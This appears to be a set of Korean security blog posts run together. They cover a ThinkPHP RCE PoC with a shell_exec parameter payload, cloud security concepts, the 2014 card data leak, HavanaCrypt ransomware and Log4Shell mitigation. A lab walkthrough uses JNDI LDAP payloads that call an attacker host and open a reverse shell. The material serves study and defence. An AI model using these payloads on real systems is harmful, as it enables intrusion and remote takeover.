1. ThinkPHP란?

- 중국기업 탑씽크에서 개발한 아파치2 기반 PHP 프레임워크

- PHP 기본 함수호 구현된 행위들을 객체화해 PHP 개발과정의 유연성과 개발 기간의 단축 등 기능 제공

- 대부분 중국에서 사용중이며 아시아권에서 다수 사용중

[캡쳐 1] 쇼단에서 ThinkPHP 검색 화면

2. CVE-2018-20062

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2018-20062

- 입력 값에 대한 적절한 검증이 없어 공격자가 임의의 명령을 실행할 수 있는 취약점

3. 취약점 분석

1) 영향 받는 버전

- ThinkPHP 5.0.23 하위 버전

- ThinkPHP 5.1.31 하위 버전

 

2) POC 분석

[캡쳐 3] POC 분석

- POC 구문이 실행되는 이유는 '\' 문자가 필터링되지 않기 때문이며, 크게 3부분으로 나뉠 수 있다.

- 먼저, '\'가 필터링 되지않아 \think\app은 Class로, invokefunction은 함수로 분석이되고,
   call_user_func_array 하위 부분은 함수에 전달하는 인자값이 된다.

[캡쳐 4] https://amuno-note.tistory.com/6

- 즉, 만약 공격자가 call_user_func_array&vars[0]=shell_ecex&vars[1][]=ls 명령을 전송할 경우 

  [캡쳐 4]에 따라 invokefunction('shell_exec','ls')가 수행되어 결과값이 공격자에게 전송되는 것이다.

- 해당 취약점을 이용해 공격자는 wget 명령으로 임의의 주소에서 파일을 다운로드 받게하는 등 다양한 공격이 가능하다.

 

4.  대응 방안

- 최신 버전 업데이트 적용 (2018 12월 보안업데이트 적용_정규표현식에서 '\' 필터링을 통해서 해결)

- 보안 장비에 해당 패턴을 등록하여 탐지 및 차단

 

1. 클라우드(Cloud)

- 서버, 스토리지, 소프트웨어 등 IT 자원을 사용자가 직접 준비하지 않고,

  제2의 전문업체로부터 인터넷을 통해 필요한 IT 자원을 빌려 사용하고, 사용량에 따라 비용을 지불

2. 특징

접근성 시간과 장소, 디바이스에 상관없이 인터넷을 통해 클라우드 서비스 이용
유연성 이용량 증가, 이용자 수 변화 등에 신속하고 유연한 대응 가능
주문형 셀프서비스 필요한 만큼만 사용
측정 가능한 서비스 사용자가 이용한 만큼 요금 부여
자원 공유 클라우드 서비스 제공자의 자원을 다수의 사용자가 공유
사용자는 자신이 사용하는 자원의 정확한 위치를 알 수 없음
확장성 필요에 따라 원하는 만큼 스케일업(처리 능력 향상), 스케일다운(처리 능력 축소) 가능
마이그레이션 품질개선, 비용절감, 신규 서비스 도입 등에 따른 마이그레이션 용이
* 마이그레이션 : 조금 더 나은 환경으로의 이주

추가적인 특징은 다음 사이트 참고.

 

클라우드 컴퓨팅의 13가지 특징 - 한국클라우드신문

[한국클라우드신문=이수현 기자] 지난 수십년간 업계는 기존 온프레미스 환경에서 클라우드 컴퓨팅 인프라로 마이그레이션해왔다. 코로나19도 이런 점진적 변화를 가속했다. 기업은 원격 작업

www.kcloudnews.co.kr

3. 분류

[캡쳐 1] https://www.whatap.io/ko/blog/9/

서비스 모델에 따른 분류
IaaS
(Infrastructure as a Service)
- 인프라(서버, 네트워크, 스토리지 등) 가상화하여 제공하고 관리
- 높은 유연성, 비용 저렴, 인프라 상위 리소스 관리 필요
PaaS
(Platform as a Service)
- 인프라 + 플랫폼(애플리케이션, 소프트웨어를 실행하기 위한 환경)
- 플랫폼 관련 이슈(라이선스, 보안 등)에 대한 서비스를 제공하므로 서비스 외 환경적이거나 관리적인 부분에 대한 고민을 덜어줌
- 특정 플랫폼 서비스에 종속될 수 있음
SaaS
(Software as a Service)
- 일반 사용자 수준의 서비스를 바로 활용가능
- 사용자는 인프라, 플랫폼상에서의 개발을 수행할 필요 없이 최종 서비스 이용
- 커스터마이징이 어렵다

IaaS -> SaaS로 갈수록 사용자가 관리해야하는 영역은 줄어들며, 지불 금액을 증가한다.

SaaS -> IaaS로 갈수록 클라우드 사용자가 관리해야하는 영역이 증가하며, 지불 금액이 감소한다.

                                      또한 사용자의 목적에따라 커스터마이징이 수월하다.

배치 모델에 따른 클라우드 유형
Public Cloud - 클라우드 제공자가 소유한 자원에 누구나, 언제, 어디서든 접속이 가능
- 개방되어 있어 상대적으로 보안수준이 저하
Private Cloud - 기업 또는 단체가 소유한 자원에 허가 받은 사용자만이 접속 가능
- On-Premis와 퍼블릭 클라우드의 중간 형태
- 사용자를 특정할 수 있어 보안에 유리
Hybrid Cloud - Public + Private
- 핵심 시스템은 Private로, 상대적으로 비핵심 시스템은 Public으로 구축

 

4. 장단점

On-Premis 환경 대비 리소스, 자원에 대한 낭비를 줄여주며, 필요에 따른 서비스 확장 및 축소가 가능하다.

또한, 가용성 측면에서 기존 환경대비 더욱 높은 가용성을 제공할 수 있다.

 

하지만, 클라우드 서비스를 이용하기 이전에 체계적이고 확실한 서비스에 대한 분석이 필요하며, 자원이 내부 네트워크에서 클라우드 환경으로 이전이 발생하기에 보안과 과련된 문제점도 존재한다. 또한, 유지보수 등 클라우드 환경과 관련된 전문 인력이 추가적으로 필요할 수도 있다.

 

5. 보안

5-1) 클라우드 보안 형상 관리(CSPM : Cloud Security Posture Management)

등장배경

- 클라우드 기반 솔루션과 서비스가 증가하면서 클라우드 인프라에 대한 보안 솔루션에 대한 수요 역시 증가할 것으로 예상
- 클라우드 구성 오류로 인한 보안 침해 사례가 증가하고 클라우드 인프라의 보안 위반 위험을 줄이기 위한 보안 도구 및 프로세스가 부족
- 클라우드 사고 99%, 설정오류로 전망

 

기능

- 컴플라이언스 또는 기업 보안 정책에 따라 클라우드 인프라의 위험 요소를 예방, 탐지, 대응 및 예측해 클라우드 위험을 지속적으로 관리하는 솔루션
- IAM부터, 스토리지, 네트워크 등 다양한 클라우드 구성 요소에 대한 보안 위협을 모니터하고 관리

 

핵심기능

- 끊임없이 변경되는 클라우드 환경에서 컴플라이언스의 지속적인 체크
- 하나 이상의 어카운트 혹은 멀티 클라우드를 통합해 한눈에 볼 수 있도록 자산 가시성 제공
- 컴플라이언스 준수 위반이 발생했을 때 신속한 자동 대응

5-2) 클라우드 워크로드 보호 플랫폼(CWPP : Cloud Workload Protection Platform)

등장배경

- 소프트웨어 개발과 효율적 운영을 위해 쿠버네티스, 컨테이너 및 PaaS, 서버리스 서비스 등이 주목을 받았고 클라우드 기술 발전에 따라 해당 환경 역시 빠르게 발전
- 하지만 컨테이너에 관련된 보안 인식은 부족한 현실이며, 이에따라 안전한 워크로드 상에서 컨테이너의 운영이 필요함

 

기능

- 온프레미스, 가상 머신(VM), 컨테이너, 서버리스 등 워크로드에 대해 가시성과 보안을 함께 제공


핵심기능

- 보안 강화 및 설정/취약점 관리
- 네트워크 방화벽, 가시성 확보 및 마이크로세그멘테이션
- 시스템 무결성 보장
- 애플리케이션 제어
- 익스플로잇 예방 및 메모리 보호
- 서버 워크로드 EDR, 행위 모니터링 및 위협 탐지·대응 
- 호스트 기반 침입 탐지 시스템
- 안티 멀웨어

5-3) 클라우드 액세스 보안 브로커 (CASB : Cloud Access Security Broker)

등장배경

- 클라우드 시대가 도래하면서 기업의 클라우드형 SaaS 서비스의 이용률도 급격히 증가
- 이러한 환경의 변화로 기존 보안제품으로는 더이상 기업을 보호할 수 없게 됐고 다음 위협에 대해 탐지가 불가능한 이슈 발생

 1) 클라우드에서 발생하는 트래픽의 모니터링 불가,

 2) 비구독 클라우드 앱에 대한 통제 불가

 3) 멀웨어‧알려지지 않은 위협에 대하여 탐지 불가 이슈 등이 발생
- 이러한 SaaS 서비스 사용에 이미 이메일, 영업/마케팅 정보, 개발 데이터 등 민감 정보가 클라우드 내에 저장되고 있음
- 2019년에 발표된 클라우드 보안 리포트(CyberSecurity INSIDERS)에 따르면 클라우드 서비스 사용에 따른 보안 문제로 64%가 ‘데이터 유출에 대한 위협’이라고 응답


기능

- 클라우드 애플리케이션을 정책에 따라 접근하도록 하는 솔루션으로 클라우드 접근 보안 중개자 역할(클라우드·온프레미스의 보안정책 시행 지점)
- 조직 전체의 클라우드 사용 가시성을 제공하고 규제 준수 요구를 보장하고 증명하며 데이터가 클라우드에 안전하게 저장되고 불법으로 유출되지 않도록 도와줌

 

핵심기능

- 실시간 데이터 유출방지(DLP) 및 장치‧데이터의 중요도 따른 엑세스 제어 등 데이터 보호
- 업로드/다운로드 데이터 감지 및 알려진/제로데이(Zero-day) 위협을 탐지하는 위협 탐지
- 사용자 인증을 위한 SSO 연동 및 위험 로그인 감시를 위한 다중 인증 지원
- 클라우드 앱 사용 관련 모니터링(Shadow IT 분석)에 따른 가시성 제공

출처 : 

 

‘클라우드 보안'의 3가지 무기 - 애플경제

최근 많은 기업이 클라우드로 이전했거나 이전 준비에 박차를 가하고 있다. 특히 클라우드는 디지털 트랜스포메이션의 핵심 전략으로 비즈니스 민첩성을 높여 시장 변화에 유연하게 대응하도

www.apple-economy.com

* 상기 5-1 ~ 5-3에 대하여 추가적인 포스트잉을 진행

5-4) CSA의 클라우드 컴퓨팅에 대한 주요 위협 보고서

- 매년 CSA(Cloud Security Alliance)에서 클라우드에서 발생할 수 있는 보안 취약점에 대한 보고서를 발표

 

Search | CSA

Search CSA resources, tools, publications and more.

cloudsecurityalliance.org

'클라우드 > 기본' 카테고리의 다른 글

클라우드 보안인증 등급제  (0) 2024.02.08
클라우드 보안 요소  (0) 2023.02.18
침해 사고 정보
일자 2014/01/08
침해 정보 개인정보 (주민번호, 연락처, 집 주소 등)
금융정보 (결제일, 신용한도 금액, 신용등급 등)
특징 내부 직원에 의한 유출
피해크기 모든 국민 정보 유출
침해 사고 분석
경위 2013 KB카드, 롯데카드, 농협카드가 KCB에 부정사용방지(FDS) 업그레이드 용역
> FDS(Fraud Detection System): 고객의 평소 카드 사용형태를 분석해 이상한 거래가 나타나면 카드거래를 승인을 하지 않는 시스템
 
KCB 담당 직원이 2012.10~2013.12까지 USB로 카드 고객들의 개인정보 유출
     KB 5300만건, 롯데 2600만건, 농협 2500만건, 도합 1400만건(중복포함)
 
유출 정보를 대출광고업자에 1650만원 판매 대출광고업자들은 2300만원에 판매
 
해당 카드사들은 유출 사실을 인지하지 못했고, 7개월 뒤인 20141월 검찰의 발표에 의해 알려짐
원인 전자금융감독 및 보안 규정 위반
- 물리적 보안 등 보안 규정의 부제
- 전자금융감독 규정: 전산 프로그램 실험 시 실데이터의 사용을 금지
- 카드 3사는 고객 정보를 변환없이 그대로 제공
* 당시 3사의 전자금융감독 규정 위반 사항
- 국민카드: 보조기억매체 접근 통제, 실험 시 실제 개인정보 사용 금지 위반
- 롯데카드: 보조기억매체 접근 통제, 실험 시 실제 개인정보 사용 금지, 전산장비 반출 통제 위반
- NH카드: 전산장비 반입 통제, 보조기억매체 접근 통제, 실험 시 실제 개인정보 사용 금지, 전산장비 반출 통제 위반
 
② 접근 통제 부제
- 용역 직원이 사용한 PC에는 USB 통제 프로그램이 설치되지 않음
 
③ 당국의 소극적 대처
-당시 정보 유출 사건 발생 시 기업 주의조치와 600만원 정도의 징계
조치 ① 금융위원회
- "금융분야 개인정보 유출 재발방지 종합대책" 발표
> 현황/문제점 및 재발방지를 위한 향후 계획을 발표
> 문제점
⒜ 과도한 수집 관행: 영업에 필수적이지 않은 정보까지 수집하여 장기간 보유
⒝ 포괄적 동의 관행: 제3자 제공시 목적도 불분명한 “포괄적 동의” 등으로 인해 사실상 동의가 강요
⒞ 권리보장 미흡: 개인정보 제공에 대한 ‘자기정보 결정권’이 실질적으로 보장되지 못함
⒟ 불법정보 수요: 대출모집인 등이 “무차별적” 모집․권유 영업을 하는 과정에서, 불법정보의 수요처로 작용
⒠ 내부통제 부실: 주요 의사결정자에 대해 정보보호 현황에 대해 충분한 보고가 이루어지지 않고, 관심이 부족
⒡ 불충분한 제재: 정보유출시 금융회사 등에 대한 제재 수준이 미미하여 재발방지 효과가 미흡

> 계획
⒜ 정보수집을 최소화하고 보관기간을 5년으로 단축하는 등 정보를 체계적으로 엄격히 관리
⒝ 주민등록번호는 최초 거래시에만 수집하되, 번호 노출이 최소화되는 방식으로 수집(예: key-pad 입력)하고, 암호화하여 보관
⒞ 정보 제공 등의 동의서 양식을 중요 사항은 잘 보이도록 글씨를 크게 하고 필수사항에 대한 동의만으로 계약이 체결되도록 전면 개편
⒟ 금융회사의 개인정보 이용․제공 현황을 조회하고, 영업목적 전화에 대한 수신 거부(Do-not-Call) 등록 등을 위한 시스템 구축
⒠ 임원 등의 정보보호․보안관련 책임을 강화하고, 불법정보 활용․유출과 관련한 금전적․물리적 제재를 대폭 강화 
⒡ 금융전산 보안전담기구 설치 등을 통해 금융회사의 보안통제를 강화하는 한편, 카드결제 정보가 안전하게 처리되도록 단말기를 전면 교체
⒢ 금융회사가 보유 또는 제공한 정보도 불필요한 것은 즉시 삭제하고, 정보유출시 대응 매뉴얼(Contingency Plan)마련 및 비상 대응체계 구축

② 32014/02/17~2014/05/16 영업정지 처분 및 벌금 (현행법 상 최고 수준 제재)

 
③ 카드 3사의 허술한 유출 확인 방법
- 국민카드: 이름, 생년월일, 주민번호 끝자리로 유출 여부 확인 -> 주요 인사들의 개인정보 유출로 이어짐
- NH카드: 유출 확인 페이지에 입력한 정보를 암호화 없이 평문 전송 -> 스니핑으로 인한 추가 유출로 이어짐
- 그 외: Active X로 인한 불편함, 사용자 급증에 따른 장애
 
 3사 카드 사용자들은 2014/01/20 손해배상 청구결과
- 유출 고객에게 각각 10만원씩 위자료 배상 판결(2018 국민, 농협 판결, 2019 롯데 판결)
 
KCB는 국민에 404억원, 농협에 180억 배상 판결(2022)
기타 - 2015 보안 컨설팅 업체 젬알토에서 2014 최악의 개인정보 유출사례 선정
 
- 전자금융감독규정 제12(단말기 보호대책) 4
정보유출, 악성코드 감염 등을 방지할 수 있도록 단말기에서 보조기억매체 및 휴대용 전산장비에 접근하는 것을 통제할 것
 
- 전자금융감독규정 제13(전산자료 보호대책) 10
이용자 정보의 조회ㆍ출력에 대한 통제를 하고 테스트 시 이용자 정보 사용 금지(다만, 법인인 이용자 정보는 금융감독원장이 정하는 바에 따라 이용자의 동의를 얻은 경우 테스트 시 사용 가능하며, 그 외 부하 테스트 등 이용자 정보의 사용이 불가피한 경우 이용자 정보를 변환하여 사용하고 테스트 종료 즉시 삭제하여야 한다)
 
- 전자금융감독규정 제13(전산자료 보호대책) 4
전산자료 및 전산장비의 반출ㆍ반입을 통제할 것
 
- 삼성카드, 신한카드는 전자금융감독규정 준수 및 암호화 프로그램 등을 이용해 피해 無
 
- 전 국민이 피해를 입어 주민등록번호 등을 바꾸는 법 신설

 

'침해사고 > 개인정보' 카테고리의 다른 글

서울대학교병원 개인정보 유출  (0) 2023.05.10
인터파크 개인정보 유출  (0) 2023.04.16
한국남부발전 개인정보 유출  (0) 2022.08.31
빗썸 개인정보 유출  (0) 2022.08.24
페이스북 개인정보 유출  (0) 2022.07.26

- 하바나크립트(HavanaCrypt)라는 구글 소프트웨어 업데이트(Google Software Update) 애플리케이션으로 위장

  C&C 서버는 마이크로소프트 웹(Microsoft Web) 호스팅 IP 주소 하나에 호스팅

  *피해자들에게 전달되는 피싱메일은 없어, 하나바크립트가 현재도 한창 개발되는 중에 있다는 분석

 

<하바나 크립트 특징>

1) 가상 환경인지 아닌지 먼저 확인하는 기능
2) 암호화 단계에서 오픈소스 키 관리 프로그램인 키패스 패스워드 세이프(KeePass Password Safe)의 코드 일부를 사용
3) QueueUserWorkItem이라는 닷넷(.NET) 함수를 활용해 암호화 속도 높이기

- 과거에는 대부분 어도비의 플래시(Flash)가 거의 대부분 이었으며, 이에 어도비는 플래시의 개발을 완전히 종료 조치
  이후 각종 브라우저들의 가짜 업데이트가 유포되기 시작했다.

  모든 종류의 멀웨어들을 이런 식으로 포장하여 유포하는데, 랜섬웨어, 정보 탈취 멀웨어, 트로이목마 등 종류도 다양하다.

 

- 하바나크립트

1. 닷넷 기반 멀웨어이며, 오픈소스 옵퓨스카를 이용해 코드를 숨김

2. 피해자 시스템 설치 후 구글업데이트 레지스트리 존재 유무 확인 후 해당 레지스트리가 없을 때 동작

3. VM웨어와 가상머신와 관련된 요소(vm마우스, 관련 파일 및 파일명 등) 확인 후 이중 하나라도 해당할 경우 동작 중지

    즉, 가상환경이 아닌 환경에서 동작하기 위한 과정이다.

4. C&C 서버와 통신(배치 파일 다운 및 실행)

    C2 서버는 정상적인 MS 웹 호스팅 서비스에 호스팅

    배치 파일은 윈도 디펜더 설정 명령, 프로세스 중단 명령 등이 포함되어 있다.

5. 감염시킨 시스템으로부터 셰도우 복사본 삭제, 데이터 복구 기능 중지, 시스템 정보 수집

6. QuereUserWorkItem함수와 코드를 키패스 패스워드 세이프(KeePass Password Safe)로부터 가져와 암호화 실시 

 

- 보안뉴스

 

마이크로소프트와 구글의 소프트웨어 업데이트로 위장한 새 랜섬웨어

점점 더 많은 위협 행위자들이 가짜 마이크로소프트와 구글 소프트웨어 업데이트를 활용해 멀웨어를 퍼트리고 있다. 이런 멀웨어들 가운데 최근 하바나크립트(HavanaCrypt)라는 랜섬웨어가 눈에

www.boannews.com

 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

마지막으로 현재는 패치가 완료된 상태이나 Log4j 취약점 대응방안을 정리한다.

 

1. KISA

주요 골자는 최신 버전 업데이트 적용이며 업데이트가 불가능할 경우 JndiLookup 클래스를 제거한다.

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

2. 취약점 점검

먼저 현재 사용중인 Log4j의 버전을 확인하여, 취약점이 존재하는 버전일 경우 최신 버전으로의 업데이트를 적용한다.

로그프로세소 등의 기업이 취약점 대응을 위한 스캐너를 배포하였으며, 해당 스캐너 등을 사용한다.

 

Log4j 버전 확인 방법

1. pom.xml 파일을 열고 "Log4j-core"로 검색해 설치된 버전 정보를 확인 가능하다.

2. 리눅스의 경우 find / -name | grep 'log4j' 명령을 수행하여 파일명 "log4j-core-버전명.jar"를 확인한다.

 

해당 취약점 점검 도구 중 https://log4shell.huntress.com/를 이용하면 보다 편리하게 점검할 수 있다. 해당 사이트에서 LDAP 서버를 구축해 수행하는 쿼리도 제공 한다. 하지만 해당 사이트에 대한 정당한 보안성 검토가 필요하다.

 

Huntress - Log4Shell Tester

Huntress Log4Shell Vulnerability Tester Our team is continuing to investigate CVE-2021-44228, a critical vulnerability that’s affecting a Java logging package log4j which is used in a significant amount of software. The source code for this tool is avail

log4shell.huntress.com

3. 보안 장비에서 탐지

공격자들이 해당 취약점을 이용하기 위해 일정한 패턴(%{jndi:ldap 등)을 사용하는데, 

해당 패턴들을 보안 장비에 등록하여 공격 시도를 탐지 및 차단할 수 있도록 한다.

[캡쳐 1] https://aws.amazon.com/ko/blogs/korea/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/

위 사진을 통해 공격이 발생하지 않도록 할 수 있는 상황은 다음과 같다(이중 하나라도 차단이 되면 공격 불가).

1) WAF를 통해 패턴 차단

2) Log4j를 사용하지 않는 경우

3) Log4j 취약점이 패치된 최신 버전을 사용중인 경우

4) JNDI LookUp을 사용하지 않는 경우

5) Log4j를 사용하나 로그 기록 형태를 공격자가 알 수 없는 형태로 기록하는 경우

6) 공격자의 LDAP 서버와의 통신이 불가한 경우 (IP, Port 차단 또는 도메인 차단 등)

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

1. Log4j 동작 조건 및 영향 받는 버전

먼저 해당 취약점이 동작하기 위해서는 몇가지 조건이 있는데, 다음과 같다.

- log4j 버전이 2.0에서 2.14.1 사이
- JRE / JDK 버전이 특정 버전(6u221, 7u201, 8u191, 11.0.1)보다 이전 버전

2. 취약점 시연

아래 Github를 참고해 진행하였다.

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

2-1)  피해자 환경

Ubuntu 20.04
IP : 192.168.56.107

명령어

[캡쳐 1] 수행 명렁

해당 명령을 순차적으로 실행한 후 localhost:8080으로 접속이 가능하다.

* docker 설치 및 명령줄을 수행하였으나 error가 발생하였고, sudo 명령을 추가하여 설치와 명령을 수행(해당 부분 이유 확인 필요).

[캡쳐 2] 웹 사이트 화면

2-2)  공격자 환경

Kali Linux
IP : 192.168.56.102
LDAP Port : 1389
Web Port : 8000
nc Port : 9001

명령어

[캡쳐 3] 수행 명령

JDK 1.8 버전을 다운받아 해당 폴더에 위치시켜야 하며, 이름은 JDK_1.8.0_20 이어야한다.

* https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 에서 8u20 부분을 찾아 다운로드

[캡쳐 4] JDK 다운&압축해제

이후 리버스 쉘 생성과 poc를 실행한다.

[캡쳐 5] 리버스 쉘 생성 및 poc 실행

이후 공격자는 취약합 웹서버에 jndi ldap 쿼리를 이용하여 공격을 수행한다.

[캡쳐 6] ${jndi:ldap://192.168.56.102:1389/a}

공격자 화면을 통해 확인하면 

1. 취약한 웹서버로 부터 8000포트로 LDAP 쿼리를 수신해 Exploit.class를 반환 했으며

2. nc로 리스닝 중이던 9001포트로 리버스 쉘이 생성된 상황이다.

* 패킷 분석을 위해 와이어샤크를 사용하였으나, 해당 부분은 좀 더 공부가 필요할 것으로 보인다(추후 취약점 분석 때 사용 가능하도록).

[캡쳐 7] 공격자의 쉘 획득

2-3)  흐름도

위의 일련의 과정을 흐름도로 나타내면 다음과 같다.

[캡쳐 8] 흐름도

3. 취약점 원리

[캡쳐 9] 취약한 웹서버의 소스코드

[캡쳐 9]는 취약한 웹서버 소스코드의 일부이며 33번 Line에서 userName(계정정보_[캡쳐 6]을 수행한 이유)을 그대로

log로 작성하기 때문에 취약점이 발생 가능 한 것이다.

 

 

 

 

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

2021년 말 역사상 최악의 보안 취약점이 발견되었다.
해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다.
대부분의 기업 및 기관이 Log4j를 사용하기에 역사상 최악의 보안 취약점이라 불린다.
현재는 취약점이 패치가 된 상태이며, 개인 공부 및 정리 목적으로 관련 내용을 정리하려 한다.

1. Log4j 취약점(CVE-2021-44228)

[캡쳐 1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 번역

cve.mitre.org(https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)에 따르면 해당 취약점은
일부 취약한 Log4j의 JNDI 기능으로 인해 공격자가 제어하는 LDAP 및 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것

2. 취약점에 이용되는 기능

해당 취약점은 Log4j, JNDI, LDAP 3가지 기능을 악용하는 것으로 해당 기능에 대한 이해가 필요하다.

2-1) Log4j

[캡쳐 2] https://wooncloud.tistory.com/65
[캡쳐 3]&amp;nbsp;https://wooncloud.tistory.com/65

즉, Log4j는 아파치 소프트웨어 재단에서 제공하는 로그 레벨 설정 및 해당 로그를 기록하기 위한 자바 기반 로깅 유틸리티이다.

2-2) JNDI(Java Naming and Directory Interface API)

[캡쳐 4] https://deviscreen.tistory.com/123

디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API로
디렉터리 서비스를 이용하기 위한 API 정도로 정리할 수 있을 것 같다.

* 참고 디렉터리 서비스란?
컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어
즉, 네트워크에 분산된 자원을 디렉터리 형식으로 관리하며, 디렉터리 내 정보의 검색, 변경, 추가, 삭제 등의 기능을 제공

2-3) LDAP(Lightweight Directory Access Protocol)

[캡쳐 5] https://www.samsungsds.com/kr/insights/ldap.html

TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜로, 389 포트(SSL 기반 LDAP는 636)를 사용한다.
즉, 디렉터리 서비스를 사용하기위한 프로토콜이다.

3. 최종정리

즉, Log4j 취약점은 다음과 같이 정리할 수 있을 것 같다.
Log4j 유틸리티는 JNDI 디렉터리 서비스를 사용하기위해 LDAP를 사용하는데 공격자는 이를 악한다.

 

● 내용추가

- Java 프로그램들은 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있음

> URL ldap://localhost:389/o=JNDITutorial를 이용해 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있음

 

- Log4j에서는 편리한 사용을 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게하는 문법이 존재

> ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있음

 

- 해당 문법은 로그가 기록될 때에도 적용이 가능하여 공격자가 로그에 기록되는 곳을 찾아 익스플로잇 진행

> 공격자는 ${jndi:ldap://공격아이피:1389/실행명령} 입력

> 해당 값을 로그로 기록하는 과정에서 문법이 실행되어 공격자의 서버에 접근하게 되는 것

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15

1. Follina 취약점?

 

Follina 취약점 분석

1. Follina 취약점? - 5월 30일, 마이크로소프트에서 Follina (CVE-2022-30190) 로 명명된 제로데이 취약점을 발표 - Microsoft Support Diagnostic Tool (MSDT) 프로그램이 URL 프로토콜을 통해 호출될 때 발생..

ggonmerr.tistory.com

 

2. 공격자들의 행동

- 해당 취약점은 현재 패치된 상태이나 공격자들은 아직 패치가 되지않은 시스템을 찾아 익스플로잇 시도

- 워드문서를 이용해 피해자가 해당 문서를 실행하면 디스코드 URL로 연결 및 HTML이 다운되며,

  HTML 문서를 이용 파워쉘 실행 및 로제나 백도어가 포함된 추가 익스플로잇 발생

- 로제나 처음 발견된 백도어로 원격 접근을 가능하게 함

* 백도어 : 공격자들이 시스템을 익스플로잇한 후 정상적인 인증 과정을 거치지 않고 시스템에 접근할 수 있도록 환경을 제공해주는 악성코드

 

3. 보안뉴스 

 

폴리나 취약점 익스플로잇 한 해커들, 로제나 백도어 심어

보안 외신 해커뉴스에 의하면 폴리나(Follina) 취약점을 악용한 또 다른 피싱 캠페인이 발견됐다고 한다. 공격자들은 폴리나를 통해 피해자의 시스템에 침투한 뒤 로제나(Rozena)라는 새로운 백도어

www.boannews.com

 

+ Recent posts